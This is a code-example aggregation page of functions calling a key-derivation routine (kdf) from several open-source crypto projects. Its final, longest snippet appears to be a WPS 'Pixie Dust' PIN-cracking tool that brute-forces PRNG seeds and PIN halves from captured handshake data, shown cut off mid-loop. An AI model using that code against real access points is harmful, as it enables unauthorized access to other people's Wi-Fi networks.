Пример #1
0
static void derive_key_materials(gec_sts_ctx_t *ctx, uint8_t secret[GEC_SECRET_BYTES_LEN])
{
    uint8_t tmp[GEC_RAW_KEY_LEN];


    kdf(tmp, GEC_RAW_KEY_LEN, secret, ctx->party);
    gec_init_sym_key_conf(&ctx->myKCK, tmp);
    memset(tmp, 0, GEC_RAW_KEY_LEN);
    kdf(tmp, GEC_RAW_KEY_LEN, secret, THEIR_PARTY(ctx));
    gec_init_sym_key_conf(&ctx->theirKCK, tmp);
    memset(tmp, 0, GEC_RAW_KEY_LEN);
    kdf(ctx->client_key_material, KEY_MATERIAL_LEN, secret, CLIENT);
}
Пример #2
0
std::string generate_passhash9(const std::string& pass,
                               RandomNumberGenerator& rng,
                               uint16_t work_factor,
                               uint8_t alg_id)
   {
   BOTAN_ARG_CHECK(work_factor > 0 && work_factor < 512, "Invalid Passhash9 work factor");

   std::unique_ptr<MessageAuthenticationCode> prf = get_pbkdf_prf(alg_id);

   if(!prf)
      throw Invalid_Argument("Passhash9: Algorithm id " +
                             std::to_string(alg_id) +
                             " is not defined");

   PKCS5_PBKDF2 kdf(prf.release()); // takes ownership of pointer

   secure_vector<uint8_t> salt(SALT_BYTES);
   rng.randomize(salt.data(), salt.size());

   const size_t kdf_iterations = WORK_FACTOR_SCALE * work_factor;

   secure_vector<uint8_t> blob;
   blob.push_back(alg_id);
   blob.push_back(get_byte(0, work_factor));
   blob.push_back(get_byte(1, work_factor));
   blob += salt;
   blob += kdf.derive_key(PASSHASH9_PBKDF_OUTPUT_LEN,
                          pass,
                          salt.data(), salt.size(),
                          kdf_iterations).bits_of();

   return MAGIC_PREFIX + base64_encode(blob);
   }
void ChainKeyTest::testChainKeyDerivationV2()
{
    std::cerr << "testChainKeyDerivationV2" << std::endl;

    ByteArray         seed = ByteUtil::fromHex("8ab72d6f4cc5ac0d387eaf463378ddb28edd07385b1cb01250c715982e7ad48f");
    ByteArray   messageKey = ByteUtil::fromHex("02a9aa6c7dbd64f9d3aa92f92a277bf54609dadf0b00828acfc61e3c724b84a7");
    ByteArray       macKey = ByteUtil::fromHex("bfbe5efb603030526742e3ee89c7024e884e440f1ff376bb2317b2d64deb7c83");
    ByteArray nextChainKey = ByteUtil::fromHex("28e8f8fee54b801eef7c5cfb2f17f32c7b334485bbb70fac6ec10342a246d15d");

    HKDF kdf(2);
    ChainKey chainKey(kdf, seed, 0);

    bool verified = chainKey.getKey() == seed
            && chainKey.getMessageKeys().getCipherKey() == messageKey
            && chainKey.getMessageKeys().getMacKey() == macKey
            && chainKey.getNextChainKey().getKey() == nextChainKey
            && chainKey.getIndex() == 0
            && chainKey.getMessageKeys().getCounter() == 0
            && chainKey.getNextChainKey().getIndex() == 1
            && chainKey.getNextChainKey().getMessageKeys().getCounter() == 1;

    std::cerr << "VERIFIED " << verified << std::endl;

    if (!verified) {
        std::cerr << "getKey:      " << ByteUtil::toHex(chainKey.getKey()) << std::endl;
        std::cerr << "getCipherKey:" << ByteUtil::toHex(chainKey.getMessageKeys().getCipherKey()) << std::endl;
        std::cerr << "getMacKey:   " << ByteUtil::toHex(chainKey.getMessageKeys().getMacKey()) << std::endl;
        std::cerr << "nextKey:     " << ByteUtil::toHex(chainKey.getNextChainKey().getKey()) << std::endl;
        std::cerr << "getIndex:    " << chainKey.getIndex() << std::endl;
        std::cerr << "getCounter:  " << chainKey.getMessageKeys().getCounter() << std::endl;
        std::cerr << "nextIndex:   " << chainKey.getNextChainKey().getIndex() << std::endl;
        std::cerr << "nextCounter: " << chainKey.getNextChainKey().getMessageKeys().getCounter() << std::endl;
    }
}
Пример #4
0
static void nh_init(nh_ctx *hc, aes_int_key prf_key)
/* Generate nh_key, endian convert and reset to be ready for hashing.   */
{
    kdf(hc->nh_key, prf_key, 1, sizeof(hc->nh_key));
    endian_convert_if_le(hc->nh_key, 4, sizeof(hc->nh_key));
    nh_reset(hc);
}
Пример #5
0
/*
 * encrypt a file using symmetric cryptography (a password)
 */
static void
symencrypt(const char *msgfile, const char *encfile, int rounds)
{
	struct symmsg symmsg;
	uint8_t symkey[SYMKEYBYTES];
	uint8_t *msg;
	unsigned long long msglen;
	kdf_allowstdin allowstdin = { strcmp(msgfile, "-") != 0 };
	kdf_confirm confirm = { 1 };

	msg = readall(msgfile, &msglen);

	memcpy(symmsg.kdfalg, KDFALG, 2);
	memcpy(symmsg.symalg, SYMALG, 2);
	symmsg.kdfrounds = htonl(rounds);
	randombytes(symmsg.salt, sizeof(symmsg.salt));
	kdf(symmsg.salt, sizeof(symmsg.salt), rounds,
	    allowstdin, confirm, symkey, sizeof(symkey));

	symencryptmsg(msg, msglen, symmsg.box, symkey);
	explicit_bzero(symkey, sizeof(symkey));

	writeencfile(encfile, &symmsg, sizeof(symmsg), "<symmetric>", msg, msglen);

	xfree(msg, msglen);
}
Пример #6
0
BUF_MEM *
kdf_mac(const BUF_MEM *nonce, const KA_CTX *ctx, EVP_MD_CTX *md_ctx)
{
    check_return(ctx, "Invalid arguments");

    return kdf(ctx->shared_secret, nonce, htonl(KDF_MAC_COUNTER), ctx, md_ctx);
}
Пример #7
0
BUF_MEM *
kdf_pi(const PACE_SEC *pi, const BUF_MEM *nonce, const KA_CTX *ctx, EVP_MD_CTX *md_ctx)
{
    BUF_MEM * out;

    out = kdf(pi->encoded, nonce, htonl(KDF_PI_COUNTER), ctx, md_ctx);

    return out;
}
Пример #8
0
static void derive_keys(struct noise_symmetric_key *first_dst,
			struct noise_symmetric_key *second_dst,
			const u8 chaining_key[NOISE_HASH_LEN])
{
	kdf(first_dst->key, second_dst->key, NULL, NULL,
	    NOISE_SYMMETRIC_KEY_LEN, NOISE_SYMMETRIC_KEY_LEN, 0, 0,
	    chaining_key);
	symmetric_key_init(first_dst);
	symmetric_key_init(second_dst);
}
Пример #9
0
static void pdf_init(pdf_ctx *pc, aes_int_key prf_key)
{
    UINT8 buf[UMAC_KEY_LEN];
    
    kdf(buf, prf_key, 0, UMAC_KEY_LEN);
    aes_key_setup(buf, pc->prf_key);
    
    /* Initialize pdf and cache */
    memset(pc->nonce, 0, sizeof(pc->nonce));
    aes_encryption(pc->nonce, pc->cache, pc->prf_key);
}
Пример #10
0
bool check_passhash9(const std::string& pass, const std::string& hash)
   {
   const size_t BINARY_LENGTH =
     ALGID_BYTES +
     WORKFACTOR_BYTES +
     PASSHASH9_PBKDF_OUTPUT_LEN +
     SALT_BYTES;

   const size_t BASE64_LENGTH =
      MAGIC_PREFIX.size() + (BINARY_LENGTH * 8) / 6;

   if(hash.size() != BASE64_LENGTH)
      return false;

   for(size_t i = 0; i != MAGIC_PREFIX.size(); ++i)
      if(hash[i] != MAGIC_PREFIX[i])
         return false;

   secure_vector<uint8_t> bin = base64_decode(hash.c_str() + MAGIC_PREFIX.size());

   if(bin.size() != BINARY_LENGTH)
      return false;

   uint8_t alg_id = bin[0];

   const size_t work_factor = load_be<uint16_t>(&bin[ALGID_BYTES], 0);

   // Bug in the format, bad states shouldn't be representable, but are...
   if(work_factor == 0)
      return false;

   if(work_factor > 512)
      throw Invalid_Argument("Requested passhash9 work factor " +
                             std::to_string(work_factor) + " is too large");

   const size_t kdf_iterations = WORK_FACTOR_SCALE * work_factor;

   std::unique_ptr<MessageAuthenticationCode> pbkdf_prf = get_pbkdf_prf(alg_id);

   if(!pbkdf_prf)
      return false; // unknown algorithm, reject

   PKCS5_PBKDF2 kdf(pbkdf_prf.release()); // takes ownership of pointer

   secure_vector<uint8_t> cmp = kdf.derive_key(
      PASSHASH9_PBKDF_OUTPUT_LEN,
      pass,
      &bin[ALGID_BYTES + WORKFACTOR_BYTES], SALT_BYTES,
      kdf_iterations).bits_of();

   return constant_time_compare(cmp.data(),
                   &bin[ALGID_BYTES + WORKFACTOR_BYTES + SALT_BYTES],
                   PASSHASH9_PBKDF_OUTPUT_LEN);
   }
Пример #11
0
static
void do_kdf(uint8_t *key, unsigned key_length, uint8_t *data, unsigned data_length,
            uint8_t *exp, unsigned exp_length)
{
  uint8_t result[32];

  kdf(key, key_length, data, data_length, result, 32);

  if (compare_buffer(result, exp_length, exp, exp_length) != 0) {
    fail("Fail: kdf\n");
  }
}
Пример #12
0
/*
 * Derive the Kasme using the KDF (key derive function).
 * See 3GPP TS.33401 Annex A.2
 * The input String S to the KDF is composed of 14 bytes:
 * FC = 0x10
 * P0 = SN id = PLMN
 * L0 = length(SN id) = 0x00 0x03
 * P1 = SQN xor AK
 * L1 = length(P1) = 0x00 0x06
 */
inline
void derive_kasme(uint8_t ck[16], uint8_t ik[16], uint8_t plmn[3], uint8_t sqn[6],
                  uint8_t ak[6], uint8_t *kasme)
{
    uint8_t s[14];
    int i;
    uint8_t key[32];

    /* The input key is equal to the concatenation of CK and IK */
    memcpy(&key[0], ck, 16);
    memcpy(&key[16], ik, 16);

    SetOPc(opc);

    /* FC */
    s[0] = 0x10;

    /* SN id is composed of MCC and MNC
     * Octets:
     *   1      MCC digit 2 | MCC digit 1
     *   2      MNC digit 3 | MCC digit 3
     *   3      MNC digit 2 | MNC digit 1
     */
    memcpy(&s[1], plmn, 3);

    /* L0 */
    s[4] = 0x00;
    s[5] = 0x03;

    /* P1 */
    for (i = 0; i < 6; i++) {
        s[6 + i] = sqn[i] ^ ak[i];
    }

    /* L1 */
    s[12] = 0x00;
    s[13] = 0x06;

#if defined(DEBUG_AUC_KDF)
    for (i = 0; i < 32; i++)
        printf("0x%02x ", key[i]);
    printf("\n");
    for (i = 0; i < 14; i++)
        printf("0x%02x ", s[i]);
    printf("\n");
#endif

    kdf(key, 32, s, 14, kasme, 32);
}
/*!
   @brief Derive the kNASenc from kasme and perform truncate on the generated key to
   reduce his size to 128 bits. Definition of the derivation function can
   be found in 3GPP TS.33401 #A.7
   @param[in] nas_alg_type NAS algorithm distinguisher
   @param[in] nas_enc_alg_id NAS encryption/integrity algorithm identifier.
   Possible values are:
        - 0 for EIA0 algorithm (Null Integrity Protection algorithm)
        - 1 for 128-EIA1 SNOW 3G
        - 2 for 128-EIA2 AES
   @param[in] kasme Key for MME as provided by AUC
   @param[out] knas Pointer to reference where output of KDF will be stored.
   NOTE: knas is dynamically allocated by the KDF function
*/
int
derive_key_nas (
  algorithm_type_dist_t nas_alg_type,
  uint8_t nas_enc_alg_id,
  const uint8_t kasme[32],
  uint8_t * knas)
{
  uint8_t                                 s[7];
  uint8_t                                 out[32];

#if SECU_DEBUG
  int                                     i;
#endif
  /*
   * FC
   */
  s[0] = FC_ALG_KEY_DER;
  /*
   * P0 = algorithm type distinguisher
   */
  s[1] = (uint8_t) (nas_alg_type & 0xFF);
  /*
   * L0 = length(P0) = 1
   */
  s[2] = 0x00;
  s[3] = 0x01;
  /*
   * P1
   */
  s[4] = nas_enc_alg_id;
  /*
   * L1 = length(P1) = 1
   */
  s[5] = 0x00;
  s[6] = 0x01;
#if SECU_DEBUG
  printf ("%s FC %d nas_alg_type distinguisher %d nas_enc_alg_identity %d\n", __FUNCTION__, FC_ALG_KEY_DER, nas_alg_type, nas_enc_alg_id);

  for (i = 0; i < 7; i++) {
    printf ("0x%02x ", s[i]);
  }

  printf ("\n");
#endif
  kdf (kasme, 32, s, 7, out, 32);
  memcpy (knas, &out[31 - 16 + 1], 16);
  return 0;
}
Пример #14
0
/*
 * generate two key pairs, one for signing and one for encryption.
 */
static void
generate(const char *pubkeyfile, const char *seckeyfile, int rounds,
    const char *ident)
{
	struct pubkey pubkey;
	struct seckey seckey;
	uint8_t symkey[SYMKEYBYTES];
	uint8_t fingerprint[FPLEN];
	kdf_allowstdin allowstdin = { 1 };
	kdf_confirm confirm = { 1 };

	if (!seckeyfile)
		seckeyfile = gethomefile("seckey");

	memset(&pubkey, 0, sizeof(pubkey));
	memset(&seckey, 0, sizeof(seckey));

	crypto_sign_ed25519_keypair(pubkey.sigkey, seckey.sigkey);
	crypto_box_keypair(pubkey.enckey, seckey.enckey);
	randombytes(fingerprint, sizeof(fingerprint));

	memcpy(seckey.fingerprint, fingerprint, FPLEN);
	memcpy(seckey.sigalg, SIGALG, 2);
	memcpy(seckey.encalg, ENCALG, 2);
	memcpy(seckey.symalg, SYMALG, 2);
	memcpy(seckey.kdfalg, KDFALG, 2);
	seckey.kdfrounds = htonl(rounds);
	randombytes(seckey.salt, sizeof(seckey.salt));

	kdf(seckey.salt, sizeof(seckey.salt), rounds, allowstdin, confirm,
	    symkey, sizeof(symkey));
	symencryptmsg(seckey.sigkey, sizeof(seckey.sigkey) + sizeof(seckey.enckey),
	    seckey.box, symkey);
	explicit_bzero(symkey, sizeof(symkey));

	writekeyfile(seckeyfile, "SECRET KEY", &seckey, sizeof(seckey),
	    ident, O_EXCL, 0600);
	explicit_bzero(&seckey, sizeof(seckey));

	memcpy(pubkey.fingerprint, fingerprint, FPLEN);
	memcpy(pubkey.sigalg, SIGALG, 2);
	memcpy(pubkey.encalg, ENCALG, 2);

	if (!pubkeyfile)
		pubkeyfile = gethomefile("pubkey");
	writekeyfile(pubkeyfile, "PUBLIC KEY", &pubkey, sizeof(pubkey),
	    ident, O_EXCL, 0666);
}
Пример #15
0
int derive_keNB(const uint8_t kasme[32], const uint32_t nas_count, uint8_t *keNB)
{
  uint8_t s[7];

  // FC
  s[0] = FC_KENB;
  // P0 = Uplink NAS count
  s[1] = (nas_count & 0xff000000) >> 24;
  s[2] = (nas_count & 0x00ff0000) >> 16;
  s[3] = (nas_count & 0x0000ff00) >> 8;
  s[4] = (nas_count & 0x000000ff);

  // Length of NAS count
  s[5] = 0x00;
  s[6] = 0x04;

  kdf(kasme, 32, s, 7, keNB, 32);

  return 0;
}
Пример #16
0
/*
 * 1. specified file
 * 2. default seckey file
 */
static void
getseckey(const char *seckeyfile, struct seckey *seckey, char *ident,
    kdf_allowstdin allowstdin)
{
	char dummyident[IDENTLEN];
	uint8_t symkey[SYMKEYBYTES];
	kdf_confirm confirm = { 0 };

	int rounds;

	if (!seckeyfile)
		seckeyfile = gethomefile("seckey");

	readkeyfile(seckeyfile, seckey, sizeof(*seckey), ident ? ident : dummyident);
	if (memcmp(seckey->kdfalg, KDFALG, 2) != 0)
		errx(1, "unsupported KDF");
	rounds = ntohl(seckey->kdfrounds);
	kdf(seckey->salt, sizeof(seckey->salt), rounds,
	    allowstdin, confirm, symkey, sizeof(symkey));
	symdecryptmsg(seckey->sigkey, sizeof(seckey->sigkey) + sizeof(seckey->enckey),
	    seckey->box, symkey);
	explicit_bzero(symkey, sizeof(symkey));
}
Пример #17
0
int main()
{
    kdf(1, "*****@*****.**", "password");
    kdf(2, "andr\xc3\[email protected]", "p\xc3\xa4ssw\xc3\xb6rd");
    return 0;
}
Пример #18
0
int ECDH_compute_key(void *out, size_t outlen, const EC_POINT *pub_key,
                     const EC_KEY *priv_key,
                     void *(*kdf)(const void *in, size_t inlen, void *out,
                                  size_t *outlen)) {
  if (priv_key->priv_key == NULL) {
    OPENSSL_PUT_ERROR(ECDH, ECDH_R_NO_PRIVATE_VALUE);
    return -1;
  }
  const EC_SCALAR *const priv = &priv_key->priv_key->scalar;

  BN_CTX *ctx = BN_CTX_new();
  if (ctx == NULL) {
    return -1;
  }
  BN_CTX_start(ctx);

  int ret = -1;
  size_t buflen = 0;
  uint8_t *buf = NULL;

  const EC_GROUP *const group = EC_KEY_get0_group(priv_key);
  EC_POINT *tmp = EC_POINT_new(group);
  if (tmp == NULL) {
    OPENSSL_PUT_ERROR(ECDH, ERR_R_MALLOC_FAILURE);
    goto err;
  }

  if (!ec_point_mul_scalar(group, tmp, NULL, pub_key, priv, ctx)) {
    OPENSSL_PUT_ERROR(ECDH, ECDH_R_POINT_ARITHMETIC_FAILURE);
    goto err;
  }

  BIGNUM *x = BN_CTX_get(ctx);
  if (!x) {
    OPENSSL_PUT_ERROR(ECDH, ERR_R_MALLOC_FAILURE);
    goto err;
  }

  if (!EC_POINT_get_affine_coordinates_GFp(group, tmp, x, NULL, ctx)) {
    OPENSSL_PUT_ERROR(ECDH, ECDH_R_POINT_ARITHMETIC_FAILURE);
    goto err;
  }

  buflen = (EC_GROUP_get_degree(group) + 7) / 8;
  buf = OPENSSL_malloc(buflen);
  if (buf == NULL) {
    OPENSSL_PUT_ERROR(ECDH, ERR_R_MALLOC_FAILURE);
    goto err;
  }

  if (!BN_bn2bin_padded(buf, buflen, x)) {
    OPENSSL_PUT_ERROR(ECDH, ERR_R_INTERNAL_ERROR);
    goto err;
  }

  if (kdf != NULL) {
    if (kdf(buf, buflen, out, &outlen) == NULL) {
      OPENSSL_PUT_ERROR(ECDH, ECDH_R_KDF_FAILED);
      goto err;
    }
  } else {
    // no KDF, just copy as much as we can
    if (buflen < outlen) {
      outlen = buflen;
    }
    OPENSSL_memcpy(out, buf, outlen);
  }

  if (outlen > INT_MAX) {
    OPENSSL_PUT_ERROR(ECDH, ERR_R_OVERFLOW);
    goto err;
  }

  ret = (int)outlen;

err:
  OPENSSL_free(buf);
  EC_POINT_free(tmp);
  BN_CTX_end(ctx);
  BN_CTX_free(ctx);
  return ret;
}
Пример #19
0
int main(int argc, char **argv) {

	struct global *wps;
	if ((wps = calloc(1, sizeof(struct global)))) {
		wps->pke     = 0;
		wps->pkr     = 0;
		wps->e_hash1 = 0;
		wps->e_hash2 = 0;
		wps->authkey = 0;
		wps->e_nonce = 0;
		wps->r_nonce = 0;
		wps->e_bssid = 0;
		wps->psk1    = 0;
		wps->psk2    = 0;
		wps->dhkey   = 0;
		wps->kdk     = 0;
		wps->wrapkey = 0;
		wps->emsk    = 0;
		wps->e_s1    = 0;
		wps->e_s2    = 0;
		wps->bruteforce = false;
		wps->verbosity = 2;
		wps->error = calloc(256, 1); if (!wps->error) goto memory_err;
		wps->error[0] = '\n';
	} else {
		memory_err:
			fprintf(stderr, "\n [X] Memory allocation error!\n");
			return MEM_ERROR;
	}

	int opt = 0;
	int long_index = 0;
	opt = getopt_long(argc, argv, option_string, long_options, &long_index);

	while (opt != -1) {
		switch (opt) {
			case 'e':
				wps->pke = malloc(WPS_PUBKEY_LEN);
				if (!wps->pke)
					goto memory_err;
				if (hex_string_to_byte_array(optarg, wps->pke, WPS_PUBKEY_LEN)) {
					snprintf(wps->error, 256, "\n [!] Bad enrollee public key -- %s\n\n", optarg);
					goto usage_err;
				}
				break;
			case 'r':
				wps->pkr = malloc(WPS_PUBKEY_LEN);
				if (!wps->pkr)
					goto memory_err;
				if (hex_string_to_byte_array(optarg, wps->pkr, WPS_PUBKEY_LEN)) {
					snprintf(wps->error, 256, "\n [!] Bad registrar public key -- %s\n\n", optarg);
					goto usage_err;
				}
				break;
			case 's':
				wps->e_hash1 = malloc(WPS_HASH_LEN);
				if (!wps->e_hash1)
					goto memory_err;
				if (hex_string_to_byte_array(optarg, wps->e_hash1, WPS_HASH_LEN)) {
					snprintf(wps->error, 256, "\n [!] Bad hash -- %s\n\n", optarg);
					goto usage_err;
				}
				break;
			case 'z':
				wps->e_hash2 = malloc(WPS_HASH_LEN);
				if (!wps->e_hash2)
					goto memory_err;
				if (hex_string_to_byte_array(optarg, wps->e_hash2, WPS_HASH_LEN)) {
					snprintf(wps->error, 256, "\n [!] Bad hash -- %s\n\n", optarg);
					goto usage_err;
				}
				break;
			case 'a':
				wps->authkey = malloc(WPS_AUTHKEY_LEN);
				if (!wps->authkey)
					goto memory_err;
				if (hex_string_to_byte_array(optarg, wps->authkey, WPS_HASH_LEN)) {
					snprintf(wps->error, 256, "\n [!] Bad authentication session key -- %s\n\n", optarg);
					goto usage_err;
				}
				break;
			case 'n':
				wps->e_nonce = malloc(WPS_NONCE_LEN);
				if (!wps->e_nonce)
					goto memory_err;
				if (hex_string_to_byte_array(optarg, wps->e_nonce, WPS_NONCE_LEN)) {
					snprintf(wps->error, 256, "\n [!] Bad enrollee nonce -- %s\n\n", optarg);
					goto usage_err;
				}
				break;
			case 'm':
				wps->r_nonce = malloc(WPS_NONCE_LEN);
				if (!wps->r_nonce)
					goto memory_err;
				if (hex_string_to_byte_array(optarg, wps->r_nonce, WPS_NONCE_LEN)) {
					snprintf(wps->error, 256, "\n [!] Bad registrar nonce -- %s\n\n", optarg);
					goto usage_err;
				}
				break;
			case 'b':
				wps->e_bssid = malloc(WPS_BSSID_LEN);
				if (!wps->e_bssid)
					goto memory_err;
				if (hex_string_to_byte_array(optarg, wps->e_bssid, WPS_BSSID_LEN)) {
					snprintf(wps->error, 256, "\n [!] Bad enrollee MAC address -- %s\n\n", optarg);
					goto usage_err;
				}
				break;
			case 'S':
				wps->small_dh_keys = true;
				break;
			case 'f':
				wps->bruteforce = true;
				break;
			case 'v':
				if (get_int(optarg, &wps->verbosity) != 0 || wps->verbosity < 1 || 3 < wps->verbosity) {
					snprintf(wps->error, 256, "\n [!] Bad verbosity level -- %s\n\n", optarg);
					goto usage_err;
				};
				break;
			case 'h':
				goto usage_err;
			case '?':
			default:
				fprintf(stderr, "%s -h for help\n", argv[0]);
				return ARG_ERROR;
		}
		opt = getopt_long(argc, argv, option_string, long_options, &long_index);
	}

	/* Not all required arguments have been supplied */
	if (wps->pke == 0 || wps->e_hash1 == 0 || wps->e_hash2 == 0) {
		wps->error = "\n [!] Not all required arguments have been supplied!\n\n";

		usage_err:
			fprintf(stderr, usage, VERSION, argv[0], wps->error);
			return ARG_ERROR;
	}

	/* If --dh-small is selected then no --pkr should be supplied */
	if (wps->pkr && wps->small_dh_keys) {
		wps->error = "\n [!] Options --dh-small and --pkr are mutually exclusive!\n\n";
		goto usage_err;
	}

	/* Either --pkr or --dh-small must be specified */
	if (!wps->pkr && !wps->small_dh_keys) {
		wps->error = "\n [!] Either --pkr or --dh-small must be specified!\n\n";
		goto usage_err;
	}

	if (wps->small_dh_keys) { /* Small DH keys selected */
		wps->pkr = malloc(WPS_PUBKEY_LEN);
		if (!wps->pkr)
			goto memory_err;

		/* g^A mod p = 2 (g = 2, A = 1, p > 2) */
		memset(wps->pkr, 0, WPS_PUBKEY_LEN - 1);
		wps->pkr[WPS_PUBKEY_LEN - 1] = 0x02;

		if (!wps->authkey) {
			if (wps->e_nonce) {
				if (wps->r_nonce) {
					if (wps->e_bssid) { /* Computing AuthKey */
						wps->dhkey = malloc(WPS_HASH_LEN);
						if (!wps->dhkey)
							goto memory_err;
						wps->kdk = malloc(WPS_HASH_LEN);
						if (!wps->kdk)
							goto memory_err;

						unsigned char *buffer = malloc(WPS_NONCE_LEN * 2 + WPS_BSSID_LEN);
						if (!buffer)
							goto memory_err;

						/* DHKey = SHA-256(g^(AB) mod p) = SHA-256(PKe^A mod p) = SHA-256(PKe) (g = 2, A = 1, p > 2) */
						sha256(wps->pke, WPS_PUBKEY_LEN, wps->dhkey);

						memcpy(buffer, wps->e_nonce, WPS_NONCE_LEN);
						memcpy(buffer + WPS_NONCE_LEN, wps->e_bssid, WPS_BSSID_LEN);
						memcpy(buffer + WPS_NONCE_LEN + WPS_BSSID_LEN, wps->r_nonce, WPS_NONCE_LEN);

						/* KDK = HMAC-SHA-256{DHKey}(Enrollee nonce || Enrollee MAC || Registrar nonce) */
						hmac_sha256(wps->dhkey, WPS_HASH_LEN, buffer, WPS_NONCE_LEN * 2 + WPS_BSSID_LEN, wps->kdk);

						buffer = realloc(buffer, WPS_HASH_LEN * 3);
						if (!buffer)
							goto memory_err;

						/* Key derivation function */
						kdf(wps->kdk, WPS_AUTHKEY_LEN + WPS_KEYWRAPKEY_LEN + WPS_EMSK_LEN, buffer);

						wps->authkey = malloc(WPS_AUTHKEY_LEN);
						if (!wps->authkey)
							goto memory_err;

						memcpy(wps->authkey, buffer, WPS_AUTHKEY_LEN);
						
						if (wps->verbosity > 2) {
							wps->wrapkey = malloc(WPS_KEYWRAPKEY_LEN);
							if (!wps->wrapkey)
								goto memory_err;
							wps->emsk = malloc(WPS_EMSK_LEN);
							if (!wps->emsk)
								goto memory_err;

							memcpy(wps->wrapkey, buffer + WPS_AUTHKEY_LEN, WPS_KEYWRAPKEY_LEN);
							memcpy(wps->emsk, buffer + WPS_AUTHKEY_LEN + WPS_KEYWRAPKEY_LEN, WPS_EMSK_LEN);
						}
						if (wps->verbosity < 3) {
							free(wps->dhkey);
							free(wps->kdk);
						}
						free(buffer);
					} else {
						wps->error = "\n [!] Neither --authkey and --e-bssid have been supplied!\n\n";
						goto usage_err;
					}
				} else {
					wps->error = "\n [!] Neither --authkey and --r-nonce have been supplied!\n\n";
					goto usage_err;
				}
			} else {
				wps->error = "\n [!] Neither --authkey and --e-nonce have been supplied!\n\n";
				goto usage_err;
			}
		}
	}

	/* E-S1 = E-S2 = 0 */
	wps->e_s1 = calloc(WPS_SECRET_NONCE_LEN, 1); if (!wps->e_s1) goto memory_err;
	wps->e_s2 = calloc(WPS_SECRET_NONCE_LEN, 1); if (!wps->e_s2) goto memory_err;

	/* Allocating memory for digests */
	wps->psk1 = malloc(WPS_HASH_LEN); if (!wps->psk1) goto memory_err;
	wps->psk2 = malloc(WPS_HASH_LEN); if (!wps->psk2) goto memory_err;

	unsigned char *result = (unsigned char *) malloc(WPS_HASH_LEN);
	if (!result)
		goto memory_err;
	unsigned char *buffer = (unsigned char *) malloc(WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN * 2);
	if (!buffer)
		goto memory_err;

	uint32_t seed;
	uint32_t print_seed; /* Seed to display at the end */
	unsigned int first_half;
	unsigned int second_half;
	unsigned char s_pin[4] = {0};
	bool valid = false;

	int mode = 1; bool found = false;
	struct timeval t0, t1;

	gettimeofday(&t0, 0);

	while (mode <= MAX_MODE && !found) {

		seed = 0; print_seed = 0;

		/* ES-1 = ES-2 = E-Nonce */
		if (mode == 2 && wps->e_nonce) {
			memcpy(wps->e_s1, wps->e_nonce, WPS_SECRET_NONCE_LEN);
			memcpy(wps->e_s2, wps->e_nonce, WPS_SECRET_NONCE_LEN);
		}

		/* PRNG bruteforce (rand_r) */
		if (mode == 3 && wps->e_nonce) {

			/* Reducing entropy from 32 to 25 bits */
			uint32_t index = wps->e_nonce[0] << 25;
			uint32_t limit = index | 0x01ffffff;

			while (1) {
				seed = index;

				int i;
				for (i = 1; i < WPS_NONCE_LEN; i++) {
					if (wps->e_nonce[i] != (unsigned char) rand_r(&seed)) break;
				}

				if (i == WPS_NONCE_LEN) { /* Seed found */
					print_seed = seed;

					/* Advance to get ES-1 */
					for (i = 0; i < WPS_SECRET_NONCE_LEN; i++)
						wps->e_s1[i] = (unsigned char) rand_r(&seed);

					/* Advance to get ES-2 */
					for (i = 0; i < WPS_SECRET_NONCE_LEN; i++)
						wps->e_s2[i] = (unsigned char) rand_r(&seed);

					break;
				}

				if (index == limit) break; /* Complete bruteforce exausted */

				index++;
			}
		}

		/* PRNG bruteforce (random_r) */
		if (mode == 4 && wps->e_nonce) {

			/* Checks if the sequence may actually be generated by current random function */
			if (wps->e_nonce[0] < 0x80 && wps->e_nonce[4] < 0x80 && wps->e_nonce[8] < 0x80  && wps->e_nonce[12] < 0x80) {

				valid = true;

				/* Converting enrollee nonce to the sequence may be generated by current random function */
				uint32_t randr_enonce[4] = {0};
				int j = 0;
				for (int i = 0; i < 4; i++) {
					randr_enonce[i] |= wps->e_nonce[j++];
					randr_enonce[i] <<= 8;
					randr_enonce[i] |= wps->e_nonce[j++];
					randr_enonce[i] <<= 8;
					randr_enonce[i] |= wps->e_nonce[j++];
					randr_enonce[i] <<= 8;
					randr_enonce[i] |= wps->e_nonce[j++];
				}

				uint32_t limit;
				struct timeval curr_time;
				gettimeofday(&curr_time, 0);

				if (wps->bruteforce) {
					seed = curr_time.tv_sec + SEC_PER_DAY * MODE4_DAYS - SEC_PER_HOUR * 2;
					limit = 0;
				} else {
					seed = curr_time.tv_sec + SEC_PER_HOUR * 2;
					limit = curr_time.tv_sec - SEC_PER_DAY * MODE4_DAYS - SEC_PER_HOUR * 2;
				}

				struct random_data *buf = (struct random_data *) calloc(1, sizeof(struct random_data));
				char *rand_statebuf = (char *) calloc(1, 128);
				initstate_r(seed, rand_statebuf, 128, buf);
				int32_t res = 0;

				while (1) {
					srandom_r(seed, buf);

					int i;
					for (i = 0; i < 4; i++) {
						random_r(buf, &res);
						if (res != randr_enonce[i]) break;
					}

					if (i == 4) {
						print_seed = seed;
						srandom_r(print_seed + 1, buf);
						for (int i = 0; i < 4; i++) {
							random_r(buf, &res);
							uint32_t be = __be32_to_cpu(res);
							memcpy(&(wps->e_s1[4 * i]), &be, 4);
							memcpy(wps->e_s2, wps->e_s1, WPS_SECRET_NONCE_LEN); /* ES-1 = ES-2 != E-Nonce */
						}
					}

					if (print_seed || seed == limit) {
						free(buf);
						free(rand_statebuf);
						break;
					}

					seed--;
				}
			}
		}

		/* WPS pin cracking */
		if (mode == 1 || (mode == 2 && wps->e_nonce) || (mode == 3 && print_seed) || (mode == 4 && print_seed)) {
crack:
			first_half = 0; second_half = 0;

			while (first_half < 10000) {
				uint_to_char_array(first_half, 4, s_pin);
				hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, (unsigned char *) s_pin, 4, wps->psk1);
				memcpy(buffer, wps->e_s1, WPS_SECRET_NONCE_LEN);
				memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk1, WPS_PSK_LEN);
				memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PUBKEY_LEN);
				memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN, wps->pkr, WPS_PUBKEY_LEN);
				hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer, WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN * 2, result);

				if (memcmp(result, wps->e_hash1, WPS_HASH_LEN)) {
					first_half++;
				} else {
					break;
				}
			}

